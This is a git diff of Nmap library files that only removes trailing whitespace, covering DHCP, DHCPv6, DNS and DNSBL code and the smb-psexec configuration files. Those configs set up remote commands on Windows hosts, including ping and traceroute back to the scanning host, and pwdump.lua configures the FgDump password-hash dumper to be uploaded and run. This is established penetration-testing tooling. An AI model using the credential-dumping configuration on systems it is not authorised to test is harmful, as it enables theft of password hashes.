such as the host, -- key, etc. overrides = {} --overrides.timeout = 40 @@ -10,7 +10,7 @@ modules = {} local mod -- Grab the ip and mac address(es) from ipconfig. The output requires quite a bit of cleanup --- to end up being usable and pretty. +-- to end up being usable and pretty. mod = {} mod.upload = false mod.name = "IP Address and MAC Address from 'ipconfig.exe'" @@ -21,7 +21,7 @@ mod.find = {"IP Address", "Physical Address", "Ethernet adapter"} mod.replace = {{"%. ", ""}, {"-", ":"}, {"Physical Address", "MAC Address"}} table.insert(modules, mod) --- Dump the arp cache of the system. +-- Dump the arp cache of the system. mod = {} mod.name = "ARP Cache from arp.exe" mod.program = 'arp.exe' @@ -41,12 +41,12 @@ mod.maxtime = 1 mod.remove = {"Active"} mod.noblank = true mod.env = "SystemRoot=c:\\WINDOWS" -table.insert(modules, mod) +table.insert(modules, mod) --- Get the routing table. +-- Get the routing table. -- --- Like 'ver', this has to be run through cmd.exe. This also requires the 'PATH' variable to be --- set properly, so it isn't going to work against systems with odd paths. +-- Like 'ver', this has to be run through cmd.exe. This also requires the 'PATH' variable to be +-- set properly, so it isn't going to work against systems with odd paths. mod = {} mod.upload = false mod.name = "Full routing table from 'netstat -nr'" @@ -57,9 +57,9 @@ mod.maxtime = 1 mod.noblank = true table.insert(modules, mod) --- Try and ping back to our host. This helps check if there's a firewall in the way for connecting backwards. +-- Try and ping back to our host. This helps check if there's a firewall in the way for connecting backwards. -- Interestingly, in my tests against Windows 2003, ping gives weird output (but still, more or less, worked) --- when the SystemRoot environmental variable wasn't set. +-- when the SystemRoot environmental variable wasn't set. mod = {} mod.upload = false mod.name = "Can the host ping our address?" @@ -68,10 +68,10 @@ mod.args = "-n 1 $lhost" mod.maxtime = 5 mod.remove = {"statistics", "Packet", "Approximate", "Minimum"} mod.noblank = true -mod.env = "SystemRoot=c:\\WINDOWS" +mod.env = "SystemRoot=c:\\WINDOWS" table.insert(modules, mod) --- Try a traceroute back to our host. I limited it to the first 5 hops in the interest of saving time. +-- Try a traceroute back to our host. I limited it to the first 5 hops in the interest of saving time. -- Like ping, if the SystemRoot variable isn't set, the output is a bit strange (but still works) mod = {} mod.upload = false @@ -94,7 +94,7 @@ mod.req_args = {'address'} mod.maxtime = 5 mod.remove = {"statistics", "Packet", "Approximate", "Minimum"} mod.noblank = true -mod.env = "SystemRoot=c:\\WINDOWS" +mod.env = "SystemRoot=c:\\WINDOWS" table.insert(modules, mod) -- Try a traceroute to an address given by the user diff --git a/nselib/data/psexec/pwdump.lua b/nselib/data/psexec/pwdump.lua index 3ee1594be..3ec256d20 100644 --- a/nselib/data/psexec/pwdump.lua +++ b/nselib/data/psexec/pwdump.lua @@ -1,7 +1,7 @@ ----This config file is designed for running password-dumping scripts. So far, +---This config file is designed for running password-dumping scripts. So far, -- it supports pwdump6 2.0.0 and fgdump. -- --- Note that none of these modules are included with Nmap by default. +-- Note that none of these modules are included with Nmap by default. -- Any variable in the 'config' table in smb-psexec.nse can be overriden in the -- 'overrides' table. Most of them are not really recommended, such as the host, @@ -22,7 +22,7 @@ local mod --mod.url = "http://www.foofus.net/fizzgig/pwdump/" --table.insert(modules, mod) ----Uncomment if you'd like to use PwDump6 1.7.2 (considered obsolete, but still works). +---Uncomment if you'd like to use PwDump6 1.7.2 (considered obsolete, but still works). -- Note that for some reason, this and 'fgdump' don't get along (fgdump only produces a blank -- file if these are run together) --mod = {} @@ -36,8 +36,8 @@ local mod --mod.url = "http://www.foofus.net/fizzgig/pwdump/" --table.insert(modules, mod) --- Warning: the danger of using fgdump is that it always write the output to the harddrive unencrypted; --- this makes it more obvious that an attack has occurred. +-- Warning: the danger of using fgdump is that it always write the output to the harddrive unencrypted; +-- this makes it more obvious that an attack has occurred. mod = {} mod.upload = true mod.name = "FgDump" diff --git a/nselib/datafiles.lua b/nselib/datafiles.lua index 530a457b5..66793b209 100644 --- a/nselib/datafiles.lua +++ b/nselib/datafiles.lua @@ -1,6 +1,6 @@ --- -- Read and parse some of Nmap's data files: nmap-protocols, --- nmap-rpc, nmap-services, and +-- nmap-rpc, nmap-services, and -- nmap-mac-prefixes. -- -- The functions in this module return values appropriate for use with exception diff --git a/nselib/dhcp.lua b/nselib/dhcp.lua index 19654179c..3ce30b754 100644 --- a/nselib/dhcp.lua +++ b/nselib/dhcp.lua @@ -1,9 +1,9 @@ ----Implement a Dynamic Host Configuration Protocol (DHCP) client. +---Implement a Dynamic Host Configuration Protocol (DHCP) client. -- --- DHCP, defined in rfc2132 and rfc2131, is a protocol for hosts to automatically +-- DHCP, defined in rfc2132 and rfc2131, is a protocol for hosts to automatically -- configure themselves on a network (that is, obtain an ip address). This library, -- which have a trivial one-function interface, can send out DHCP packets of many --- types and parse the responses. +-- types and parse the responses. -- -- @author "Ron Bowes" @@ -24,7 +24,7 @@ local table = require "table" _ENV = stdnse.module("dhcp", stdnse.seeall) -request_types = +request_types = { DHCPDISCOVER = 1, DHCPOFFER = 2, @@ -46,19 +46,19 @@ request_types_str[6] = "DHCPNAK" request_types_str[7] = "DHCPRELEASE" request_types_str[8] = "DHCPINFORM" ----Read an IP address or a list of IP addresses. Print an error if the length isn't a multiple of 4. +---Read an IP address or a list of IP addresses. Print an error if the length isn't a multiple of 4. -- --@param data The packet. ---@param pos The position in the packet. ---@param length The length that the server claims the field is. +--@param pos The position in the packet. +--@param length The length that the server claims the field is. --@return The new position (will always be pos + length, no matter what we think it should be) ---@return The value of the field, or nil if the field length was wrong. +--@return The value of the field, or nil if the field length was wrong. local function read_ip(data, pos, length) if(length ~= 4) then if((length % 4) ~= 0) then stdnse.print_debug(1, "dhcp-discover: Invalid length for an ip address (%d)", length) pos = pos + length - + return pos, nil else local results = {} @@ -78,24 +78,24 @@ local function read_ip(data, pos, length) end end ----Read a string. The length of the string is given by the length field. +---Read a string. The length of the string is given by the length field. -- --@param data The packet. ---@param pos The position in the packet. ---@param length The length that the server claims the field is. +--@param pos The position in the packet. +--@param length The length that the server claims the field is. --@return The new position (will always be pos + length, no matter what we think it should be) ---@return The value of the field, or nil if the field length was wrong. +--@return The value of the field, or nil if the field length was wrong. local function read_string(data, pos, length) return bin.unpack(string.format("A%d", length), data, pos) end ----Read a single byte. Print an error if the length isn't 1. +---Read a single byte. Print an error if the length isn't 1. -- --@param data The packet. ---@param pos The position in the packet. ---@param length The length that the server claims the field is. +--@param pos The position in the packet. +--@param length The length that the server claims the field is. --@return The new position (will always be pos + length, no matter what we think it should be) ---@return The value of the field, or nil if the field length was wrong. +--@return The value of the field, or nil if the field length was wrong. local function read_1_byte(data, pos, length) if(length ~= 1) then stdnse.print_debug(1, "dhcp-discover: Invalid length for data (%d; should be %d)", length, 1) @@ -106,13 +106,13 @@ local function read_1_byte(data, pos, length) end ---Read a message type. This is a single-byte value that's looked up in the request_types_str --- table. Print an error if the length isn't 1. +-- table. Print an error if the length isn't 1. -- --@param data The packet. ---@param pos The position in the packet. ---@param length The length that the server claims the field is. +--@param pos The position in the packet. +--@param length The length that the server claims the field is. --@return The new position (will always be pos + length, no matter what we think it should be) ---@return The value of the field, or nil if the field length was wrong. +--@return The value of the field, or nil if the field length was wrong. local function read_message_type(data, pos, length) local value @@ -125,14 +125,14 @@ local function read_message_type(data, pos, length) return pos, request_types_str[value] end ----Read a single byte, and return 'false' if it's 0, or 'true' if it's non-zero. Print an error if the --- length isn't 1. +---Read a single byte, and return 'false' if it's 0, or 'true' if it's non-zero. Print an error if the +-- length isn't 1. -- --@param data The packet. ---@param pos The position in the packet. ---@param length The length that the server claims the field is. +--@param pos The position in the packet. +--@param length The length that the server claims the field is. --@return The new position (will always be pos + length, no matter what we think it should be) ---@return The value of the field, or nil if the field length was wrong. +--@return The value of the field, or nil if the field length was wrong. local function read_boolean(data, pos, length) local result pos, result = read_1_byte(data, pos, length) @@ -147,13 +147,13 @@ local function read_boolean(data, pos, length) end end ----Read a 2-byte unsigned little endian value. Print an error if the length isn't 2. +---Read a 2-byte unsigned little endian value. Print an error if the length isn't 2. -- --@param data The packet. ---@param pos The position in the packet. ---@param length The length that the server claims the field is. +--@param pos The position in the packet. +--@param length The length that the server claims the field is. --@return The new position (will always be pos + length, no matter what we think it should be) ---@return The value of the field, or nil if the field length was wrong. +--@return The value of the field, or nil if the field length was wrong. local function read_2_bytes(data, pos, length) if(length ~= 2) then stdnse.print_debug(1, "dhcp-discover: Invalid length for data (%d; should be %d)", length, 2) @@ -165,13 +165,13 @@ end ---Read a list of 2-byte unsigned little endian values. Print an error if the length isn't a multiple --- of 2. +-- of 2. -- --@param data The packet. ---@param pos The position in the packet. ---@param length The length that the server claims the field is. +--@param pos The position in the packet. +--@param length The length that the server claims the field is. --@return The new position (will always be pos + length, no matter what we think it should be) ---@return The value of the field, or nil if the field length was wrong. +--@return The value of the field, or nil if the field length was wrong. local function read_2_bytes_list(data, pos, length) if((length % 2) ~= 0) then stdnse.print_debug(1, "dhcp-discover: Invalid length for data (%d; should be multiple of %d)", length, 2) @@ -191,13 +191,13 @@ local function read_2_bytes_list(data, pos, length) end ----Read a 4-byte unsigned little endian value. Print an error if the length isn't 4. +---Read a 4-byte unsigned little endian value. Print an error if the length isn't 4. -- --@param data The packet. ---@param pos The position in the packet. ---@param length The length that the server claims the field is. +--@param pos The position in the packet. +--@param length The length that the server claims the field is. --@return The new position (will always be pos + length, no matter what we think it should be) ---@return The value of the field, or nil if the field length was wrong. +--@return The value of the field, or nil if the field length was wrong. local function read_4_bytes(data, pos, length) if(length ~= 4) then stdnse.print_debug(1, "dhcp-discover: Invalid length for data (%d; should be %d)", length, 4) @@ -207,14 +207,14 @@ local function read_4_bytes(data, pos, length) return bin.unpack(">I", data, pos) end ----Read a 4-byte unsigned little endian value, and interpret it as a time offset value. Print an --- error if the length isn't 4. +---Read a 4-byte unsigned little endian value, and interpret it as a time offset value. Print an +-- error if the length isn't 4. -- --@param data The packet. ---@param pos The position in the packet. ---@param length The length that the server claims the field is. +--@param pos The position in the packet. +--@param length The length that the server claims the field is. --@return The new position (will always be pos + length, no matter what we think it should be) ---@return The value of the field, or nil if the field length was wrong. +--@return The value of the field, or nil if the field length was wrong. local function read_time(data, pos, length) local result if(length ~= 4) then @@ -244,14 +244,14 @@ local function read_time(data, pos, length) return pos, string.format("%d %s, %d:%02d:%02d", days, dayLabel, hours, minutes, seconds) end ----Read a list of static routes. Each of them are a pair of IP addresses, a destination and a --- router. Print an error if the length isn't a multiple of 8. +---Read a list of static routes. Each of them are a pair of IP addresses, a destination and a +-- router. Print an error if the length isn't a multiple of 8. -- --@param data The packet. ---@param pos The position in the packet. ---@param length The length that the server claims the field is. +--@param pos The position in the packet. +--@param length The length that the server claims the field is. --@return The new position (will always be pos + length, no matter what we think it should be) ---@return The value of the field, or nil if the field length was wrong. +--@return The value of the field, or nil if the field length was wrong. local function read_static_route(data, pos, length) if((length % 8) ~= 0) then stdnse.print_debug(1, "dhcp-discover: Invalid length for data (%d; should be multiple of %d)", length, 8) @@ -271,14 +271,14 @@ local function read_static_route(data, pos, length) end end ----Read a list of policy filters. Each of them are a pair of IP addresses, an address and a --- mask. Print an error if the length isn't a multiple of 8. +---Read a list of policy filters. Each of them are a pair of IP addresses, an address and a +-- mask. Print an error if the length isn't a multiple of 8. -- --@param data The packet. ---@param pos The position in the packet. ---@param length The length that the server claims the field is. +--@param pos The position in the packet. +--@param length The length that the server claims the field is. --@return The new position (will always be pos + length, no matter what we think it should be) ---@return The value of the field, or nil if the field length was wrong. +--@return The value of the field, or nil if the field length was wrong. local function read_policy_filter(data, pos, length) if((length % 8) ~= 0) then stdnse.print_debug(1, "dhcp-discover: Invalid length for data (%d; should be multiple of %d)", length, 8) @@ -299,7 +299,7 @@ local function read_policy_filter(data, pos, length) end ---These are the different fields for DHCP. These have to come after the read_* function --- definitions. +-- definitions. local actions = {} actions[1] = {name="Subnet Mask", func=read_ip, default=true} actions[2] = {name="Time Offset", func=read_4_bytes, default=false} @@ -364,14 +364,14 @@ actions[60] = {name="Class Identifier", func=read_string, actions[61] = {name="Client Identifier (client)", func=read_string, default=false} actions[252]= {name="WPAD", func=read_string, default=false} ---- Does the send/receive, doesn't build/parse anything. +--- Does the send/receive, doesn't build/parse anything. local function dhcp_send(socket, host, packet) -- Send out the packet return socket:sendto(host, { number=67, protocol="udp" }, packet) end local function dhcp_receive(socket, transaction_id) - + local status, data = socket:receive() if ( not(status) ) then socket:close() @@ -382,7 +382,7 @@ local function dhcp_receive(socket, transaction_id) -- generated and different for every instance of a script (to prevent collisions) while status and data:sub(5, 8) ~= transaction_id do status, data = socket:receive() - end + end return status, data end @@ -390,32 +390,32 @@ end --- Builds a DHCP packet -- --@param request_type The type of request as an integer (use the request_types table at the --- top of this file). ---@param ip_address Your ip address (as a dotted-decimal string). This tells the DHCP server where to +-- top of this file). +--@param ip_address Your ip address (as a dotted-decimal string). This tells the DHCP server where to -- send the response. Setting it to "255.255.255.255" or "0.0.0.0" is generally acceptable (if not, --- host.ip_src can work). +-- host.ip_src can work). --@param mac_address Your mac address (as a string up to 16 bytes) where the server will send the response. Like --- ip_address, setting to the broadcast address (FF:FF:FF:FF:FF:FF) is --- common (host.mac_addr_src works). +-- ip_address, setting to the broadcast address (FF:FF:FF:FF:FF:FF) is +-- common (host.mac_addr_src works). --@param options [optional] A table of additional request options where each option is a table containing the -- following fields: -- * number - The option number -- * type - The option type ("string" or "ip") -- * value - The option value ---@param request_options [optional] The options to request from the server, as an array of integers. For the +--@param request_options [optional] The options to request from the server, as an array of integers. For the -- acceptable options, see the actions table above or have a look at rfc2132. -- Some DHCP servers (such as my Linksys WRT54g) will ignore this list and send whichever -- information it wants. Default: all options marked as 'default' in the actions --- table above are requested (the typical interesting ones) if no verbosity is given. --- If any level of verbosity is on, get all types. +-- table above are requested (the typical interesting ones) if no verbosity is given. +-- If any level of verbosity is on, get all types. --@param overrides [optional] A table of overrides. If a field in the table matches a field in the DHCP -- packet (see rfc2131 section 2 for a list of possible fields), the value in the table --- will be sent instead of the default value. ---@param lease_time [optional] The lease time used when requestint an IP. Default: 1 second. +-- will be sent instead of the default value. +--@param lease_time [optional] The lease time used when requestint an IP. Default: 1 second. --@param transaction_id The identity of the transaction. -- --@return status (true or false) ---@return The parsed response, as a table. +--@return The parsed response, as a table. function dhcp_build(request_type, ip_address, mac_address, options, request_options, overrides, lease_time, transaction_id) local packet = '' @@ -472,13 +472,13 @@ function dhcp_build(request_type, ip_address, mac_address, options, request_opti end ---Parse a DHCP packet (either a request or a response) and return the results as a table. The --- table at the top of this function (actions) defines the name of each field, as --- laid out in rfc2132, and the function that parses it. +-- table at the top of this function (actions) defines the name of each field, as +-- laid out in rfc2132, and the function that parses it. -- --- In theory, this should be able to parse any valid DHCP packet. +-- In theory, this should be able to parse any valid DHCP packet. -- ---@param data The DHCP packet data. Any padding at the end of the packet will be ignored (by default, --- DHCP packets are padded with \x00 bytes). +--@param data The DHCP packet data. Any padding at the end of the packet will be ignored (by default, +-- DHCP packets are padded with \x00 bytes). function dhcp_parse(data, transaction_id) local pos = 1 local result = {} @@ -555,7 +555,7 @@ function dhcp_parse(data, transaction_id) end -- Handle the 'Option Overload' option specially -- if it's set, it tells us to use the file and/or sname values after we - -- run out of data. + -- run out of data. if(option == 52) then if(value == 1) then data = data .. result['file'] @@ -573,7 +573,7 @@ function dhcp_parse(data, transaction_id) end ---Build and send any kind of DHCP packet, and parse the response. This is the only interface --- to the DHCP library, and should be the only one necessary. +-- to the DHCP library, and should be the only one necessary. -- -- All DHCP packet have the same structure, but different fields. It is therefore easy to build -- any of the possible request types: @@ -591,30 +591,30 @@ end -- type. If you're going to build some DHCP code on your own, I recommend reading rfc2131. -- --@param request_type The type of request as an integer (use the request_types table at the --- top of this file). ---@param ip_address Your ip address (as a dotted-decimal string). This tells the DHCP server where to +-- top of this file). +--@param ip_address Your ip address (as a dotted-decimal string). This tells the DHCP server where to -- send the response. Setting it to "255.255.255.255" or "0.0.0.0" is generally acceptable (if not, --- host.ip_src can work). +-- host.ip_src can work). --@param mac_address Your mac address (as a string up to 16 bytes) where the server will send the response. Like --- ip_address, setting to the broadcast address (FF:FF:FF:FF:FF:FF) is --- common (host.mac_addr_src works). +-- ip_address, setting to the broadcast address (FF:FF:FF:FF:FF:FF) is +-- common (host.mac_addr_src works). --@param options [optional] A table of additional request options where each option is a table containing the -- following fields: -- * number - The option number -- * type - The option type ("string" or "ip") -- * value - The option value ---@param request_options [optional] The options to request from the server, as an array of integers. For the +--@param request_options [optional] The options to request from the server, as an array of integers. For the -- acceptable options, see the actions table above or have a look at rfc2132. -- Some DHCP servers (such as my Linksys WRT54g) will ignore this list and send whichever -- information it wants. Default: all options marked as 'default' in the actions --- table above are requested (the typical interesting ones) if no verbosity is given. --- If any level of verbosity is on, get all types. +-- table above are requested (the typical interesting ones) if no verbosity is given. +-- If any level of verbosity is on, get all types. --@param overrides [optional] A table of overrides. If a field in the table matches a field in the DHCP -- packet (see rfc2131 section 2 for a list of possible fields), the value in the table --- will be sent instead of the default value. ---@param lease_time [optional] The lease time used when requestint an IP. Default: 1 second. +-- will be sent instead of the default value. +--@param lease_time [optional] The lease time used when requestint an IP. Default: 1 second. --@return status (true or false) ---@return The parsed response, as a table. +--@return The parsed response, as a table. function make_request(target, request_type, ip_address, mac_address, options, request_options, overrides, lease_time) -- A unique id that identifies this particular session (and lets us filter out what we don't want to see) local transaction_id = overrides and overrides['xid'] or bin.pack("SP", self.type, data) end, - + }, - + [DHCP6.OptionTypes.OPTION_CLIENTID] = { - + -- Create a new class instance -- @param mac string containing the mac address -- @param duid number the duid of the client @@ -117,7 +117,7 @@ DHCP6.Option = { self.__index = self return o end, - + -- Parse the data string and create an instance of the class -- @param data string containing the data as received over the socket -- @return opt new instance of option @@ -133,15 +133,15 @@ DHCP6.Option = { opt.time = opt.time + os.time({year=2000, day=1, month=1, hour=0, min=0, sec=0}) return opt end, - + -- Converts option to a string -- @return str string containing the class instance as string __tostring = function(self) local data = bin.pack(">SSIA", self.duid, self.hwtype, self.time, self.mac) return bin.pack(">SP", self.type, data) - end, + end, }, - + [DHCP6.OptionTypes.OPTION_SERVERID] = { -- Create a new class instance -- @param mac string containing the mac address @@ -150,7 +150,7 @@ DHCP6.Option = { -- @param time number time since 2000-01-01 00:00:00 -- @return o new instance of class new = function(...) return DHCP6.Option[DHCP6.OptionTypes.OPTION_CLIENTID].new(...) end, - + -- Parse the data string and create an instance of the class -- @param data string containing the data as received over the socket -- @return opt new instance of option @@ -160,9 +160,9 @@ DHCP6.Option = { -- @return str string containing the class instance as string __tostring = function(...) return DHCP6.Option[DHCP6.OptionTypes.OPTION_CLIENTID].__tostring(...) end, }, - + [DHCP6.OptionTypes.OPTION_STATUS_CODE] = { - + -- Create a new class instance -- @param code number containing the error code -- @param msg string containing the error message @@ -184,15 +184,15 @@ DHCP6.Option = { parse = function(data) local opt = DHCP6.Option[DHCP6.OptionTypes.OPTION_STATUS_CODE]:new() local pos - + pos, opt.code, opt.msg = bin.unpack(">SA" .. (#data - 2), data) return opt end, - + }, - + [DHCP6.OptionTypes.OPTION_DNS_SERVERS] = { - + -- Create a new class instance -- @param servers table containing DNS servers -- @return o new instance of class @@ -212,7 +212,7 @@ DHCP6.Option = { parse = function(data) local opt = DHCP6.Option[DHCP6.OptionTypes.OPTION_DNS_SERVERS]:new() local pos, count = 1, #data/16 - + for i=1,count do local srv pos, srv = bin.unpack(">B16", data, pos) @@ -220,7 +220,7 @@ DHCP6.Option = { end return opt end, - + -- Converts option to a string -- @return str string containing the class instance as string __tostring = function(self) @@ -232,9 +232,9 @@ DHCP6.Option = { return data end }, - + [DHCP6.OptionTypes.OPTION_DOMAIN_LIST] = { - + -- Create a new class instance -- @param domain table containing the search domains -- @return o new instance of class @@ -254,7 +254,7 @@ DHCP6.Option = { parse = function(data) local opt = DHCP6.Option[DHCP6.OptionTypes.OPTION_DOMAIN_LIST]:new() local pos = 1 - + repeat local domain = {} repeat @@ -269,11 +269,11 @@ DHCP6.Option = { return opt end, - + }, - + [DHCP6.OptionTypes.OPTION_IA_PD] = { - + -- Create a new class instance -- @param iad number containing iad -- @param t1 number containing t1 @@ -292,18 +292,18 @@ DHCP6.Option = { self.__index = self return o end, - + -- Converts option to a string -- @return str string containing the class instance as string __tostring = function(self) local data = bin.pack(">IIIA", self.iaid, self.t1, self.t2, self.options) return bin.pack(">SP", self.type, data) end, - + }, - + [DHCP6.OptionTypes.OPTION_IA_NA] = { - + -- Create a new class instance -- @param iad number containing iad -- @param t1 number containing t1 @@ -322,21 +322,21 @@ DHCP6.Option = { self.__index = self return o end, - + -- Parse the data string and create an instance of the class -- @param data string containing the data as received over the socket -- @return opt new instance of option parse = function(data) local opt = DHCP6.Option[DHCP6.OptionTypes.OPTION_IA_NA]:new() local pos - + pos, opt.iaid, opt.t1, opt.t2 = bin.unpack(">III", data) - + -- do we have any options while ( pos < #data ) do local typ, len, ipv6, pref_lt, valid_lt, options pos, typ, len = bin.unpack(">SS", data, pos) - + if ( 5 == DHCP6.OptionTypes.OPTION_IAADDR ) then local addr = { type = DHCP6.OptionTypes.OPTION_IAADDR } pos, addr.ipv6, addr.pref_lt, addr.valid_lt = bin.unpack(">A16II", data, pos) @@ -344,10 +344,10 @@ DHCP6.Option = { else pos = pos + len end - end + end return opt end, - + -- Converts option to a string -- @return str string containing the class instance as string __tostring = function(self) @@ -355,9 +355,9 @@ DHCP6.Option = { -- TODO: we don't cover self.options here, we should probably add that return bin.pack(">SP", self.type, data) - end, + end, }, - + [DHCP6.OptionTypes.OPTION_SNTP_SERVERS] = { -- Create a new class instance @@ -372,7 +372,7 @@ DHCP6.Option = { self.__index = self return o end, - + -- Parse the data string and create an instance of the class -- @param data string containing the data as received over the socket -- @return opt new instance of option @@ -387,7 +387,7 @@ DHCP6.Option = { return opt end, }, - + [DHCP6.OptionTypes.OPTION_CLIENT_FQDN] = { -- Create a new class instance @@ -402,7 +402,7 @@ DHCP6.Option = { self.__index = self return o end, - + -- Parse the data string and create an instance of the class -- @param data string containing the data as received over the socket -- @return opt new instance of option @@ -410,7 +410,7 @@ DHCP6.Option = { local opt = DHCP6.Option[DHCP6.OptionTypes.OPTION_CLIENT_FQDN]:new() local pos = 2 local pieces = {} - + repeat local tmp pos, tmp = bin.unpack("p", data, pos) @@ -419,14 +419,14 @@ DHCP6.Option = { opt.fqdn = stdnse.strjoin(".", pieces) return opt end, - + } - + } - - + + DHCP6.Request = { - + -- Create a new class instance -- @param msgtype number containing the message type -- @param xid number containing the transaction id @@ -442,13 +442,13 @@ DHCP6.Request = { self.__index = self return o end, - + -- Adds a new DHCP6 option to the request -- @param opt instance of object to add to the request addOption = function(self, opt) table.insert(self.opts, opt) end, - + -- Converts option to a string -- @return str string containing the class instance as string __tostring = function(self) @@ -465,7 +465,7 @@ DHCP6.Request = { -- The Response class handles responses from the server DHCP6.Response = { - + -- Creates a new instance of the response class -- @param msgtype number containing the type of DHCP6 message -- @param xid number containing the transaction ID @@ -479,7 +479,7 @@ DHCP6.Response = { self.__index = self return o end, - + -- Parse the data string and create an instance of the class -- @param data string containing the data as received over the socket -- @return opt new instance of option @@ -488,7 +488,7 @@ DHCP6.Response = { local pos, tmp = bin.unpack(">I", data) resp.msgtype = bit.band(tmp, 0xFF000000) - resp.msgtype = bit.rshift(resp.msgtype, 24) + resp.msgtype = bit.rshift(resp.msgtype, 24) resp.xid = bit.band(tmp, 0x00FFFFFF) while( pos < #data ) do local opt = {} @@ -507,7 +507,7 @@ DHCP6.Response = { end return resp end - + } -- Table of option to string converters @@ -517,7 +517,7 @@ DHCP6.Response = { -- TODO: These functions could eventually be moved to a method in it's -- respective class. OptionToString = { - + [DHCP6.OptionTypes.OPTION_CLIENTID] = function(opt) local HWTYPE_ETHER = 1 if ( HWTYPE_ETHER == opt.hwtype ) then @@ -527,12 +527,12 @@ OptionToString = { return "Client identifier", ("MAC: %s; Time: %s"):format(mac, tm) end end, - + [DHCP6.OptionTypes.OPTION_SERVERID] = function(opt) local topic, str = OptionToString[DHCP6.OptionTypes.OPTION_CLIENTID](opt) return "Server identifier", str end, - + [DHCP6.OptionTypes.OPTION_IA_NA] = function(opt) if ( opt.options and 1 == #opt.options ) then local ipv6 = opt.options[1].ipv6 @@ -541,7 +541,7 @@ OptionToString = { return "Non-temporary Address", ipv6 end end, - + [DHCP6.OptionTypes.OPTION_DNS_SERVERS] = function(opt) local servers = {} for _, srv in ipairs(opt.servers) do @@ -550,15 +550,15 @@ OptionToString = { end return "DNS Servers", stdnse.strjoin(",", servers) end, - + [DHCP6.OptionTypes.OPTION_DOMAIN_LIST] = function(opt) return "Domain Search", stdnse.strjoin(", ", opt.domains) end, - + [DHCP6.OptionTypes.OPTION_STATUS_CODE] = function(opt) return "Error", ("Code: %d; Message: %s"):format(opt.code, opt.msg) end, - + [DHCP6.OptionTypes.OPTION_SNTP_SERVERS] = function(opt) return "NTP Servers", stdnse.strjoin(", ", opt.servers) end, @@ -566,7 +566,7 @@ OptionToString = { -- The Helper class serves as the main interface to scripts Helper = { - + -- Creates a new Helper class instance -- @param iface string containing the interface name -- @param options table containing any options, currently @@ -579,7 +579,7 @@ Helper = { } setmetatable(o, self) self.__index = self - + local info, err = nmap.get_interface_info(iface) -- if we faile to get interface info, don't return a helper -- this is true on OS X for interfaces like: p2p0 and vboxnet0 @@ -592,17 +592,17 @@ Helper = { o.socket:set_timeout(o.options.timeout or 5000) return o end, - + -- Sends a DHCP6 Solicit message to the server, essentiall requesting a new -- IPv6 non-temporary address - -- @return table of results suitable for use with + -- @return table of results suitable for use with -- stdnse.format_output solicit = function(self) local req = DHCP6.Request:new( DHCP6.Type.SOLICIT ) local option = DHCP6.Option req:addOption(option[DHCP6.OptionTypes.OPTION_ELAPSED_TIME]:new()) req:addOption(option[DHCP6.OptionTypes.OPTION_CLIENTID]:new(self.mac)) - + local iaid = select(2, bin.unpack(">I", self.mac:sub(3))) req:addOption(option[DHCP6.OptionTypes.OPTION_IA_NA]:new(iaid, 3600, 5400)) @@ -624,7 +624,7 @@ Helper = { return false, "Failed to receive DHCP6 request from server" end - resp = DHCP6.Response.parse(data) + resp = DHCP6.Response.parse(data) if ( not(resp) ) then return false, "Failed to decode DHCP6 response from server" end @@ -636,7 +636,7 @@ Helper = { local result, result_options = {}, { name = "Options" } local resptype = DHCP6.TypeStr[resp.msgtype] or ("Unknown (%d)"):format(resp.msgtype) - + table.insert(result, ("Message type: %s"):format(resptype)) table.insert(result, ("Transaction id: %d"):format(resp.xid)) @@ -652,7 +652,7 @@ Helper = { end table.insert(result, result_options) return true, result - end, + end, } diff --git a/nselib/dns.lua b/nselib/dns.lua index 164abdf10..87d84e467 100644 --- a/nselib/dns.lua +++ b/nselib/dns.lua @@ -257,7 +257,7 @@ end -- * subnet: table, if set perform a edns-client-subnet lookup. The table should contain the fields: -- family - string can be either inet or inet6 -- address - string containing the originating subnet IP address --- mask - number containing the number of subnet bits +-- mask - number containing the number of subnet bits -- @return true if a dns response was received and contained an answer of the requested type, -- or the decoded dns response was requested (retPkt) and is being returned - or false otherwise. -- @return String answer of the requested type, table of answers or a String error message of one of the following: @@ -1055,10 +1055,10 @@ decoder[types.NSEC3] = function (entry, data, pos) entry.NSEC3.dname = entry.dname entry.NSEC3.salt, entry.NSEC3.hash = {}, {} - np, entry.NSEC3.hash.alg,flags,entry.NSEC3.iterations = bin.unpack(">CBS", data, np) + np, entry.NSEC3.hash.alg,flags,entry.NSEC3.iterations = bin.unpack(">CBS", data, np) -- do we even need to decode these do we care about opt out? -- entry.NSEC3.flags = decodeFlagsNSEC3(flags) - + np, entry.NSEC3.salt.bin = bin.unpack(">p", data, np) _, entry.NSEC3.salt.hex = bin.unpack("H" .. #entry.NSEC3.salt.bin, entry.NSEC3.salt.bin) @@ -1156,7 +1156,7 @@ decoder[types.TXT] = -- @param entry RR in packet. -- @param data Complete encoded DNS packet. -- @param pos Position in packet after RR. -decoder[types.OPT] = +decoder[types.OPT] = function(entry, data, pos) local np = pos - #entry.data - 6 local opt = { bufsize = entry.class } @@ -1367,14 +1367,14 @@ end -- @param client_subnet table containing the following fields -- family - 1 IPv4, 2 - IPv6 -- mask - byte containing the length of the subnet mask --- address - string containing the IP address +-- address - string containing the IP address function addClientSubnet(pkt,Z,subnet) local udp_payload_size = 4096 local code = 20730 -- temporary option-code http://comments.gmane.org/gmane.ietf.dnsext/19776 local scope_mask = 0 -- In requests, it MUST be set to 0 see draft local data = bin.pack(">SCCA",subnet.family or 1,subnet.mask,scope_mask,ipOps.ip_to_str(subnet.address)) local opt = bin.pack(">SS",code, #data) .. data - addOPT(pkt,Z,opt) + addOPT(pkt,Z,opt) end --- @@ -1384,7 +1384,7 @@ end function addNSID (pkt,Z) local udp_payload_size = 4096 local opt = bin.pack(">SS",3, 0) -- nsid data - addOPT(pkt,Z,opt) + addOPT(pkt,Z,opt) end --- diff --git a/nselib/dnsbl.lua b/nselib/dnsbl.lua index 7b3b33b03..a6d8ab066 100644 --- a/nselib/dnsbl.lua +++ b/nselib/dnsbl.lua @@ -49,7 +49,7 @@ _ENV = stdnse.module("dnsbl", stdnse.seeall) -- the TXT record, this argument and check can be omitted. -- When the short mode is used, the function should return a table containing -- the state field, or nil if the IP wasn't listed. When long --- mode is used, the function should return additional information using the +-- mode is used, the function should return additional information using the -- details field. Eg: -- return { state = "SPAM" } -- short mode -- return { state = "PROXY", details = { @@ -69,11 +69,11 @@ _ENV = stdnse.module("dnsbl", stdnse.seeall) -- and description of the arguments that provide the configuration/options. -- If this function isn't specified, the library will assume the service -- doesn't require configuration. --- +-- SERVICES = { - + SPAM = { - + ["dnsbl.inps.de"] = { -- This service supports both long and short mode ns_type = { @@ -114,7 +114,7 